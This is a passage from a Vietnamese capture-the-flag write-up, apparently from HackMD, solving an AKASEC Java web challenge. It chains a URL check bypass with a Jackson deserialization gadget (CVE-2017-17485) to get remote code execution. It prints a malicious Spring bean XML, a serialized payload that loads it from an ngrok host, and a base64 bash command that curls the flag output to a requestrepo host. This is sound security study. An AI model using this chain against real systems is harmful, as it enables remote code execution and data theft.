![image](https://hackmd.io/_uploads/ByJfHmuSA.png) Nên khi ta sử dụng dấu `@`, webserver sẽ hiểu chuỗi đằng sau là hostname và bypass qua hàm check URL ![image](https://hackmd.io/_uploads/Sk_3SmOHC.png) ### Deserialize - CVE-2017-17485 Tại đoạn code xử lý deser, giá trị của biến serialized được đưa vào mảng dataList, sau dó tùy giá trị của thuộc tính `type` mà sẽ xử lý khác nhau: ```java! List<SerializationItem> dataList = mapper.readValue(serialized, new TypeReference<List<SerializationItem>>() {}); for (SerializationItem item : dataList) { switch (item.type) { case "string" -> result.put(item.name, item.value); case "boolean" -> result.put(item.name, Boolean.valueOf(item.value)); case "integer" -> { try { Integer r = Integer.valueOf(item.value); result.put(item.name, r); } catch (NumberFormatException e) { result.put(item.name, Integer.valueOf("0")); } } case "double" -> { try { Double r = Double.valueOf(item.value); result.put(item.name, r); } catch (NumberFormatException e) { result.put(item.name, Double.valueOf("0")); } } case "float" -> { try { Float r = Float.valueOf(item.value); result.put(item.name, r); } catch (NumberFormatException e) { result.put(item.name, Float.valueOf("0")); } } case "long" -> { try { Long r = Long.valueOf(item.value); result.put(item.name, r); } catch (NumberFormatException e) { result.put(item.name, Long.valueOf("0")); } } case "byte" -> { try { Byte r = Byte.valueOf(item.value); result.put(item.name, r); } catch (NumberFormatException e) { result.put(item.name, Byte.valueOf("0")); } } case "object" -> { try { String[] args = item.value.split("\\|"); if (args.length == 2) { Class<?> clazz = Class.forName(args[0]); Constructor<?> constructor = clazz.getConstructor(String.class); Object instance = constructor.newInstance(args[1]); result.put(item.name, instance); } else if (args.length == 3) { Class<?> clazz = Class.forName(args[0]); Constructor<?> constructor = clazz.getConstructor(String.class, String.class); Object instance = constructor.newInstance(args[1], args[2]); result.put(item.name, instance); } else { result.put(item.name, "Error: currently only <= 2 arguments are supported."); } } catch (Exception e) { result.put(item.name, null); } } } ``` - Tại đây mình thấy case object được sử dụng để truyền vào nhiều hơn 1 giá trị vào thuộc tính `value`, cách nhau bằng dấu `|` - Giá trị 1 trong `value` được coi là class để khởi tạo thông qua `getConstructor`, giá trị thứ 2 đóng vai trò là tham số truyền vào class giá trị 1 thông qua instance mới được tạo - Sau đó giá trị của thuộc tính name được đưa vào instance đó bằng `result.put`, tương tự khi truyền vào 3 giá trị thì giá trị thứ 2 và 3 sẽ là tham số truyền vào khi khởi tạo instance từ class giá trị 1. Sink của lỗ hổng deser nằm ở `readValue`, mình đi xem xét các lib chương trình sử dụng để tìm kiếm các gadget chain được hiện trong file `build.gradle`: ```java! dependencies { implementation 'org.springframework.boot:spring-boot-starter-web:3.2.5' implementation 'org.springframework.boot:spring-boot-starter-thymeleaf:3.2.5' implementation 'com.fasterxml.jackson.core:jackson-databind:2.17.1' implementation 'io.jsonwebtoken:jjwt:0.12.5' implementation 'org.springframework.boot:spring-boot-starter-validation:3.2.5' testImplementation 'org.springframework.boot:spring-boot-starter-test' testRuntimeOnly 'org.junit.platform:junit-platform-launcher' } ``` Tìm kiếm về nơi sử dụng thì mình thấy lib databind được dùng để tạo objectmapper để readvalue ![image](https://hackmd.io/_uploads/H1NdLXdBC.png) Tìm kiếm thì lib này dính CVE-2017-17485, được sử dụng để convert json thành các object, cve này có cve rõ ràng tại: https://www.cnblogs.com/afanti/p/10203282.html PoC này có đoạn code xử lý gần giống với challenge, nên mình nghĩ cũng không thể bê nguyên được payload xml của họ đi mà cần chỉnh sửa. Gadgetchain dùng để gọi đến class `FileSystemXmlApplicationContext` được sử dụng để tải file từ bên ngoài, ở đây là file pwn.xml chứa payload thực thi câu lệnh hệ thống thông qua các bean. Chức năng `readValue` dùng để deserialize json, sau đó lấy giá trị của bean thông qua `getBean` và parse giá trị của câu lệnh như là một SpEL expression -> RCE Giờ mình sẽ kết hợp nó vào chall để tạo thành payload của mình: Đầu tiên, giá trị mình truyền vào là một List nên mình cần truyền vào kiểu mảng. Giá trị của thuộc tính `type` sẽ là object, payload sẽ nằm trong `value` là class `org.springframework.context.support.FileSystemXmlApplicationContext` và url đến file pwn.xml cách nhau bằng dấu `|`. Giá trị `name` không quan trọng. Payload bị urldecode 1 lần khi đi qua việc gán vào URL, và 1 lần nữa khi đi qua curl, nên mình cần phải encode url đoạn payload gadget 2 lần. PoC của link mình để bên trên sẽ không hoạt động vì nó không trigger SpEL injection như cách trên, nên mình sẽ chỉnh sửa để khi getBean lấy beans thì method start được kích hoạt thay vì phải `.start()` bằng `init-method`: ```xml! <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>curl</value> <value>jjqoqqb7.requestrepo.com</value> </list> </constructor-arg> </bean> </beans> ``` Mình sử dụng php server và ngrok để public file này ra ngoài Gửi đi payload serialize: ```! serialized=[{"type":"object","name":"lmao","value":"org.springframework.context.support.FileSystemXmlApplicationContext|https://7706-104-28-254-75.ngrok-free.app/pwn.xml"}] ``` ![image](https://hackmd.io/_uploads/Hy_sMNOrA.png) Curl ra ngoài thành công, mình sẽ lầy flag bằng cách curl ra ngoài kèm câu lệnh `/readflag` Processbuilder và runtime.exec đều sẽ đưa các phần tử vào mảng nếu chúng cách nhau bằng 1 dấu cách, nên nếu ghi thẳng vào payload curl sẽ rất dễ fail vì giá trị args sẽ bị đưa vào các mảng khác nhau, nên cách tốt nhất là đưa vào base64 để thực thi: ![image](https://hackmd.io/_uploads/BkbvQVdr0.png) ```! curl -d "$(/readflag)" jjqoqqb7.requestrepo.com -> Thực thi tại java: bash -c {echo,Y3VybCAtZCAiJCgvcmVhZGZsYWcpIiBqanFvcXFiNy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i} ``` File pwn sẽ thêm một tham số nữa trong phần bean: ```xml! <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>{echo,Y3VybCAtZCAiJCgvcmVhZGZsYWcpIiBqanFvcXFiNy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}</value> </list> </constructor-arg> </bean> ``` Exploit trên local thành công: ![image](https://hackmd.io/_uploads/r15WVNOHR.png) Thực thi trên server, mình có flag về request repo: ![image](https://hackmd.io/_uploads/SJ2t44uHA.png) Flag: `AKASEC{__I_gue55_y0u_do_l1k3_JAVA_aft3r_4LL__}`